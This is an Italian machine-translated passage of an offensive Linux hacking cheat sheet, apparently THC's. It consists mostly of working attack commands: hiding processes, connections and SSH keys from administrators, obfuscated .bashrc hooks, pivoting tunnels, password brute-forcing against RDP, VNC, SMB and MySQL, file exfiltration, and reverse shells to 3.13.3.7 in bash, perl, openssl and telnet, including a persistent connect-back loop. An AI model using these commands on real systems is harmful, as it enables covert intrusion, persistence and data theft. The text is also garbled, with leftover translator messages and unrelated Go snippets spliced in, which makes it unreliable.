URL alternativo:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

HackShell fa molto di più, ma soprattutto questo:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Suggerimento bonus:
Qualsiasi comando che inizi con uno " " (spazio) [non verrà registrato nella cronologia](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) nemmeno.```
$  id

Avvia un 'nmap' in background nascosto come '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

In alternativa, copia il binario con un nuovo nome:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

<a id="zap"></a>
**1.iii. Nascondi le opzioni della riga di comando**

Usa [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

<a id="bash-hide-connection"></a>
**1.iv. Nascondere una connessione di rete**

Il trucco è di dirottare `netstat` e usare grep per filtrare la nostra connessione. Questo esempio filtra qualsiasi connessione sulla porta 31337 _o_ ip 1.2.3.4. La stessa cosa dovrebbe essere fatta per `ss` (un'alternativa a netstat).

**Metodo 1 - Nascondere una connessione con una funzione bash in ~/.bashrc**

Copia e incolla questo per aggiungere la riga a ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

La voce offuscata in ~/.bashrc apparirà così:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

*(grazie iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Nascondere un processo come utente**

Continuando da "Nascondere una connessione", la stessa tecnica può essere usata per nascondere un processo. Questo esempio nasconde il processo nmap e si assicura anche che la nostra `grep` non appaia nell'elenco dei processi, rinominandola in GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Per nascondere un comando usa:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(Lo stesso funziona per `lsof`, `ss` e `ls`)

<a id="cat"></a>
**1.viii. Nascondersi da cat**

I caratteri di escape ANSI o un semplice `\r` ([ritorno a capo](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) possono essere usati per nascondersi da `cat` e altri.

Nascondi l'ultimo comando (esempio: `id`) in `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Aggiungere un `\r` (ritorno a capo) aiuta molto a nascondere la tua chiave ssh da `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

- `exec` viene usato per sostituire la shell sottostante con l'ultimo processo (nmap). È opzionale ma riduce il numero di binari shell in esecuzione/inutili.
- `${SLOT}` contiene un valore tra 0 e 19. È il "numero del task". Lo usiamo per scrivere i risultati di nmap in 20 file separati.

Esegui [Linpeas](https://github.com/carlospolop/PEASS-ng) su tutti gli host [gsocket](https://www.gsocket.io/deploy) usando 40 worker:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

Vai in piena comodità con PTY e colori: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

Crea ulteriori sessioni shell utilizzando la stessa (unica) connessione Master-TCP di cui sopra (nessuna password/autenticazione necessaria):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Ora tu o chiunque altro potete connettervi al vostro computer sulla porta 31337 e venire instradati verso 1.2.3.4 porta 80, apparendo con l'IP sorgente di 'server.org'. Un'alternativa, senza la necessità di un server, è usare [gs-netcat](#backdoor-network).

Gli hacker esperti usano la combinazione di tasti `~C` per creare dinamicamente questi tunnel senza dover riconnettere la SSH. (grazie MessedeDegod).

Usiamo questo metodo per dare a un amico l'accesso a una macchina interna che non è sulla rete Internet pubblica:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Ora configura il browser per utilizzare SOCKS con 127.0.0.1:1080. Tutto il tuo traffico viene ora instradato tramite *server.org* e apparirà con l'IP sorgente di *server.org*. Un'alternativa, che non richiede un server, è usare [gs-netcat](#backdoor-network).

Questo è l'inverso dell'esempio precedente. Dà ad altri accesso alla tua rete *locale* o consente ad altri di usare il tuo computer come end-point del tunnel.```sh
ssh -g -R 1080 [email protected]

Quindi usa questo comando da qualsiasi altra parte del mondo per connetterti come 'root' a 'foobarblahblub' (l'host dietro il NAT):```sh
ssh -J [email protected] root@foobarblahblub

> Non eseguiamo `ssh` su nessun computer se non sulla nostra workstation fidata - e nemmeno tu dovresti (mai).

È qui che ProxyJump aiuta: possiamo "saltare" attraverso i due server intermedi $C2 e $internal-jumphost (senza avviare una shell su quei server). La connessione ssh è crittografata end-to-end tra il nostro $local-kali e $target-host e nessuna password o chiave viene esposta a $C2 o $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

[No content provided in the INPUT field.]```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

INPUT:```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

Utilizzando [bore.pub](https://github.com/ekzhang/bore) (gratuito):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

usando [pinggy.io](https://www.pinggy.io) (60 minuti gratuiti):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Either service will generate a new temporary HTTPS-URL for you to use.  

Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:

A. A simple STDIN/STDOUT pipe via HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080

### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

Inoltra la porta 2222 alla porta 22 del server.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

Altro: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) e [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) e [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Rimbalzare il traffico con iptables**

Rimbalza attraverso un host/router senza dover eseguire un proxy o un forwarder in userland:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

Usiamo questo trucco per raggiungere la gsocket-relay-network (o TOR) dall'interno di reti protette da firewall.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  

# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

Funziona anche in combinazione con:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Collegherà il tuo ROOT Server alla RETE DI DESTINAZIONE utilizzando un Ghost IP all'interno della rete di destinazione.
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Come sopra, ma meno sicuro.

---
<a id="tunnel-more"></a>
**3.vi.d Vari Trucchi per Tunnel**

### Tunnel tramite CDN
 * Leggi [Come creare un tunnel per qualsiasi servizio TCP tramite CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) oppure usa [DarkFlare](https://github.com/doxx/darkflare).

### Collega il tuo host direttamente alla rete remota
 * [WireTap](https://github.com/sandialabs/wiretap) - Funziona come utente o root. Usa UDP come trasporto. ([Provalo](https://thc.org/segfault/wireguard) su segfault.)
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP come trasporto. Funziona bene tramite [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o gs-netcat.

### Usa SSH come proxy inverso economico tramite Cloudflare

Questo metodo è simile ai [tunnel inversi HTTPS](#https) ma usa SSH invece di Gost o websocat.
- Vantaggio: Usa solo *cloudflared* e *SSH* sul target.
- Svantaggio: Richiede un abbonamento CF.

 1. Vai alla tua Dashboard CF -> Zero Trust -> Networks -> Tunnels
 2. Crea un nuovo tunnel 'Cloudflared' con qualsiasi nome.
 3. Seleziona Debian & 64-bit. Il Token non è mostrato per intero. Estrai il "Token" copiando l'area in grigio in un documento separato per rivelare l'intero Token (le lunghe stringhe esadecimali dopo `sudo cloudflared service install <TunnelTokenHere>`).
 4. Aggiungi un sottodominio (l'esempio usa `ssh.team-teso.net`).
 5. Imposta Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere

Please provide the Markdown content to translate.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io

Sulla tua workstation:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080

### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1

Ottieni informazioni di geolocalizzazione su qualsiasi indirizzo IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8

Controlla se TOR sta funzionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...

---
<a id="check-open-ports"></a>
**3.vii. Controlla/Scansiona le porte aperte su un IP**

[Censys](https://search.censys.io/) o [Shodan](https://internetdb.shodan.io) servizio di ricerca delle porte:```shell
curl https://internetdb.shodan.io/1.1.1.1

Scansione delle porte TCP aperte:```sh
_scan_single() {
    local opt=("${2}")
    [ -f "$2" ] && opt=("-iL" "$2")
    nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
    local port="${1:?}"
    shift 1
    for ip in "$@"; do
        _scan_single "$port" "$ip"
    done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254

---
<a id="bruteforce"></a>
**3.viii. Crack degli hash delle password**

 1. [NTLM2password](https://ntlm.pw/) per crackare (lookup) le password NTLM
 2. [wpa-sec](https://wpa-sec.stanev.org) per crackare (lookup) le password WPA PSK

HashCat è il nostro strumento di riferimento per tutto il resto:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt

Decifra gli hash di `known_hosts` di OpenSSH per rivelare l'indirizzo IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt 

(Potresti voler usare il tuo [nodo EXIT](https://www.thc.org/segfault/wireguard))

Strumenti:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [documentazione](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - ottimo per provare tutte le chiavi ssh su un intervallo di IP di destinazione.

Elenchi di username e password:
* `/usr/share/nmap/nselib/data`  
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >IL PREFERITO DI THC<
* https://github.com/danielmiessler/SecLists  
* https://wordlists.assetnote.io  
* https://weakpass.com  
* https://crackstation.net/  


Imposta l'elenco **U**sername/**P**assword e l'host **T**arget.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"

Parametri utili di **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"

<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v

INPUT:```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"

Please provide the Markdown content to translate.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"

The input chunk is empty — there is no content provided to translate. Please supply the actual Markdown text for chunk 180/494.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"

I don't see any content in the INPUT section to translate. Please provide the Markdown content for chunk 184/494 so I can translate it into Italian.```shell
## SMB (windows)
nmap --script smb-brute "$T"

Non è stato fornito alcun contenuto da tradurre.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"

go install github.com/yuntsun/certinfo/cmd/certinfo@latest

certinfo [opzioni] <host:porta> [nomeFileCertificato]

certinfo example.com:443

certinfo --file /percorso/al/certificato.pem

certinfo example.com:443 --server-name example.com

certinfo example.com:443 --timeout 5s

package main

import (
    "fmt"

    "github.com/yuntsun/certinfo"
)

func main() {
    // Recupera il certificato da un host remoto.
    certInfo, err := certinfo.GetCertInfoFromHost("example.com:443")
    if err != nil {
        panic(err)
    }

    // Stampa le informazioni JSON.
    fmt.Println(string(certInfo))
}

go install github.com/v-byte-cpu/netgraph/cmd/netgraph@latest

netgraph [opzioni]

netgraph --help
``````shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run

███╗   ██╗███████╗████████╗███╗   ███╗ █████╗ ██████╗
████╗  ██║██╔════╝╚══██╔══╝████╗ ████║██╔══██╗██╔══██╗
██╔██╗ ██║█████╗     ██║   ██╔████╔██║███████║██████╔╝
██║╚██╗██║██╔══╝     ██║   ██║╚██╔╝██║██╔══██║██╔═══╝
██║ ╚████║███████╗   ██║   ██║ ╚═╝ ██║██║  ██║██║
╚═╝  ╚═══╝╚══════╝   ╚═╝   ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝
``````shell
## HTML basic auth
echo admin >user.txt                     # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt  # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
   http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
   pentesteracademylab.appspot.com

#### >>> UU encode/decode```sh
## uuencode 
uuencode /etc/issue.net issue.net-COPY

---
<a id="xfer-tmux"></a>
### 4.iii. Trasferimento file - usando *tmux*

Avvia `tmux` sulla tua workstation. Connettiti al tuo target con qualsiasi mezzo preferisci (ssh, gs-netcat, ...).

#### Da REMOTO a LOCALE (download)

Usa [Tmux-Logging](#tmux) per scaricare file di grandi dimensioni dal target tramite il terminale sulla tua workstation.

#### Da LOCALE a REMOTO (upload)

Avvia il tuo strumento di decodifica preferito (base64) sul REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt

---
<a id="file-transfer-screen"></a>
### 4.vi. Trasferimento di file - usando *screen*

#### Da REMOTO a LOCALE (download)

Tieni un *screen* in esecuzione sul tuo computer locale e accedi al sistema remoto dalla tua shell. Indica al tuo screen locale di registrare tutto l'output su screen-xfer.txt:

> CTRL-a : logfile screen-xfer.txt

> CTRL-a H

Usiamo *openssl* per codificare i nostri dati, ma funziona qualsiasi dei metodi di codifica sopra indicati. Questo comando visualizzerà i dati codificati in base64 nel terminale e *screen* scriverà questi dati su *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net

#### Da LOCALE a REMOTO (upload)

Sul tuo sistema locale codifica i dati:```sh
openssl base64 </etc/issue.net >screen-xfer.txt

Get *screen* per caricare i dati codificati in base64 negli appunti di screen e incollare i dati dagli appunti al sistema remoto:

> CTRL-a : readbuf screen-xfer.txt

> CTRL-a : paste .

> CTRL-d

> CTRL-d

Nota: Sono necessari due CTRL-d a causa di un [bug in openssl](https://github.com/openssl/openssl/issues/9355).

---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Trasferimento file - usando gs-netcat e sftp

Usa [gs-netcat](https://github.com/hackerschoice/gsocket) e incapsula il protocollo sftp al suo interno. Consente l'accesso a host dietro NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server         # Host behind NAT/Firewall

Oppure per SCARICARE un singolo file:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver

# On the receiver
gs-netcat >"FILENAME"  # When prompted, enter the SECRET from the sender

Ricevitore: Accedi all'URL da qualsiasi browser per visualizzare/scaricare il file system remoto.

#### 1 - Upload tramite PHP:

Sul ricevitore:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate

#### 2 - Caricamento tramite PYTHON:

Sul ricevente:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000

---
<a id="download"></a>
### 4.vii. Download di file senza curl

Usando Python, scarica solo:```sh
# Declare a curl-alternative
purl() {
    local url="${1:?}"
    { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
    "$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io

Utilizzando OpenSSL, scarica solo:```sh
surl() {
    local r="${1#*://}"
    local opts=("-quiet" "-ign_eof")
    IFS=/ read -r host query <<<"${r}"
    openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
    openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
	| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
	| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io

Usando bash, scarica solo:```sh
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz

poi carica un file o una directory:```sh
transfer /etc/passwd  # A single file
transfer ~/.ssh       # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"

Mittente:```posh
rsync -av warez rsync://1.2.3.4:31337/up

Mittente:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

Su un altro server:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

Oppure monta la condivisione WebDAV su Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

INPUT```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

Dopo la connessione, [porta](#reverse-shell-interactive) la tua shell a una shell PTY completamente interattiva. In alternativa usa [pwncat-cs](https://pwncat.org/) al posto di netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

In alternativa, sul sistema remoto, inserisci questo nel `~/.profile` o nel crontab per riavviare la shell connect-back (e impedisce anche l'avvio di più istanze):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

[No content provided in the input.]```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Variante se *'-e'* non è supportato:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Note: Non dimenticare di eseguire `rm /tmp/.fio` dopo il login.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell con remote.moe e ssh (crittografata)**

È possibile instradare TCP grezzo (ad es. reverse shell bash) attraverso [remote.moe](https://remote.moe):

Sulla tua workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

Sul target (alternativa; richiede ssh, bash e mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell con Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Aggiornare una reverse shell a una shell PTY**

Tutte le reverse shell di cui sopra sono limitate. Ad esempio *sudo bash* o *top* non funzioneranno. Per farli funzionare dobbiamo aggiornare la shell a una vera shell PTY:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. Aggiornare una reverse shell a una shell completamente interattiva**

...e se vogliamo anche usare Ctrl-C ecc., allora dobbiamo andare fino in fondo e aggiornare la reverse shell a una vera shell interattiva completamente colorata:```sh
# On the target host spawn a PTY using any of the above examples:
